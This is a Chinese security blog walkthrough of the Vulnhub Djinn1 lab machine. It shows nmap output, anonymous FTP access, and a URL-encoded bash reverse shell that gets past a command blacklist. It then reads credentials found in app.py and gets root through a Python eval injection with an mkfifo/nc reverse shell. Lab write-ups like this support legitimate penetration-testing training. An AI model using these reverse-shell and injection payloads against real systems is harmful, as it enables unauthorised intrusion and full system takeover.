freebuf1999
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

Djin1是Vulnhub难度中等偏上的靶机,渗透测试者或黑客在进行目标渗透时,往往会遇到各种安全设备和限制,学会如何绕过这些安全设备成为渗透测试者的”基本功“。本靶机就围绕黑名单的绕过进行打靶练习。
有兴趣的小伙伴可以下载试一下,Djinn1传送门。
0x01 信息收集-reconnaissance
1.ftp匿名登录
首先,利用Nmap对目标ip进行信息收集。
nmap -sC -sV -p- -v -A 192.168.56.103
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-20 22:40 EDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:40
Completed NSE at 22:40, 0.00s elapsed
Initiating NSE at 22:40
Completed NSE at 22:40, 0.00s elapsed
Initiating NSE at 22:40
Completed NSE at 22:40, 0.00s elapsed
Initiating ARP Ping Scan at 22:40
Scanning 192.168.56.103 [1 port]
Completed ARP Ping Scan at 22:40, 0.06s elapsed (1 total hosts)
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Initiating SYN Stealth Scan at 22:40
Scanning 192.168.56.103 [65535 ports]
Discovered open port 22/tcp on 192.168.56.103
Discovered open port 21/tcp on 192.168.56.103
Discovered open port 7331/tcp on 192.168.56.103
Discovered open port 1337/tcp on 192.168.56.103
Completed SYN Stealth Scan at 22:40, 5.11s elapsed (65535 total ports)
Initiating Service scan at 22:40
Scanning 4 services on 192.168.56.103
Completed Service scan at 22:42, 87.26s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.103
NSE: Script scanning 192.168.56.103.
Initiating NSE at 22:42
NSE: [ftp-bounce] Couldn't resolve scanme.nmap.org, scanning 10.0.0.1 instead.
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 22:42, 5.02s elapsed
Initiating NSE at 22:42
Completed NSE at 22:42, 1.10s elapsed
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
Nmap scan report for 192.168.56.103
Host is up (0.00038s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt
| -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt
|_-rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.102
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
1337/tcp open waste?
| fingerprint-strings:
| NULL:
| ____ _____ _
| ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
| ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
| Let's see how good you are with simple maths
| Answer my questions 1000 times and I'll give you your gift.
| '-', 5)
| RPCCheck:
| ____ _____ _
| ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
| \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
| ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
| Let's see how good you are with simple maths
| Answer my questions 1000 times and I'll give you your gift.
|_ '+', 6)
7331/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+)
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-title: Lost in space
|_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.93%I=7%D=5/20%Time=646984A9%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1BC,"\x20\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\
SF:x20_\x20_\x20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20
SF:__\x20___\x20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\
SF:x20`\x20_\x20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x
SF:20`\x20_\x20\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\
SF:x20\|\x20\|\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\
SF:|\x20\|\x20\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\
SF:x20\|_\|\\___\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:n\nLet's\x20see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths
SF:\nAnswer\x20my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20
SF:you\x20your\x20gift\.\n\(1,\x20'-',\x205\)\n>\x20")%r(RPCCheck,1BC,"\x2
SF:0\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x20_\x20_\x
SF:20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20__\x20___\x
SF:20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x20`\x20_\x
SF:20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x2
SF:0\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x20\|\x20\|
SF:\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20
SF:\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x20\|_\|\\_
SF:__\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\nLet's\x2
SF:0see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths\nAnswer\x2
SF:0my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20you\x20your
SF:\x20gift\.\n\(4,\x20'\+',\x206\)\n>\x20");
MAC Address: 08:00:27:0C:CE:72 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 11.975 days (since Mon May 8 23:17:43 2023)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Unix
TRACEROUTE
HOP RTT ADDRESS
1 0.38 ms 192.168.56.103
NSE: Script Post-scanning.
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.75 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)
扫描结果发现开放21,22,1337,7331端口,发现21端口可以匿名访问,这里尝试访问ftp 192.168.56.102
下在creds.txt和game.txt文件查看creds.txt和game.txt文件,并没有发现什么敏感信息。
2.尝试连接1337端口
利用telnet探目标IP的1337端口,发现是一个数字脑洞游戏,也没发现可利用价值的信息。
3.目录扫描
我们对http://192.168.56.103:7331,访问结果如下:
在页面上没有发现敏感信息,故利用gobuster进行目录扫描。
发现两个可以访问的链接/wish 和 /genie
我们在 /wish输入id发现回显为”error 403",说明这里对输入的命令做了安全限制。
所以我们这里需要对输入的命令进行“加密或变形”,从而绕过限制。
bash -i >& /dev/tcp/192.168.56.102/6677 0>&1 进行url编码并在/wish界面执行
在/wish界面执行url编码后,kali主机成功反弹shell
拿到目标shell后,开始进一步进行目标主机信息收集,发现一个名为app.py文件打开发现
nitish/p4ssw0rdStr3r0n9
尝试利用该用户密码登录nitish用户
发现可以成功登录nitish用户
输入sudo -l命令,发现nitish用户可以不用密码以sam身份执行/user/bin/genie
尝试登录sam身份执行/user/bin/genie
命令如下:sudo -u sam /user/bin/genie -h
逐一对genie所列出的参数进行尝试,并没有发现可利用的信息。
0x02 提权-利用python沙盒逃逸漏洞
在上小节中利用获取到的用户密码提权无果后,我们换一种思路尝试分析app.py文件的代码,分析发现
一直成功答对1000次可以获得p0rt5文件的内容,相反,若期间打错一次则会断开连接,另外,如果程序判定它输入的内容为非数字类型的答案,那么就断开连接。
在输入的过程中,发现并没有任何有过滤输入的防护措施,如输入
eval('__import__("os").system("id")')
可以发现,该命,该令成功执行,而且是root权限,这说明这个猜数字的游戏存在python沙盒逃逸漏洞。
因此,接下来构造具有反弹shell功能的python代码
eval('__import__("os").system("rm /tmp/f;mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.102 666 >/tmp/f")'),其中192.168.56.102为kali主机的ip,666为监听端口。
如上图所示,kali主机的666端口成功反弹来自目标主机的j具有root权限的shell,至此,提权成功。
0x03 总结
在本次渗透测试过程中,对于黑名单的命令行限制,我们对其进行了url编码,从而绕过限制,拿到目标的反弹shell,之后又通过python的沙盒逃逸漏洞成功提权。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)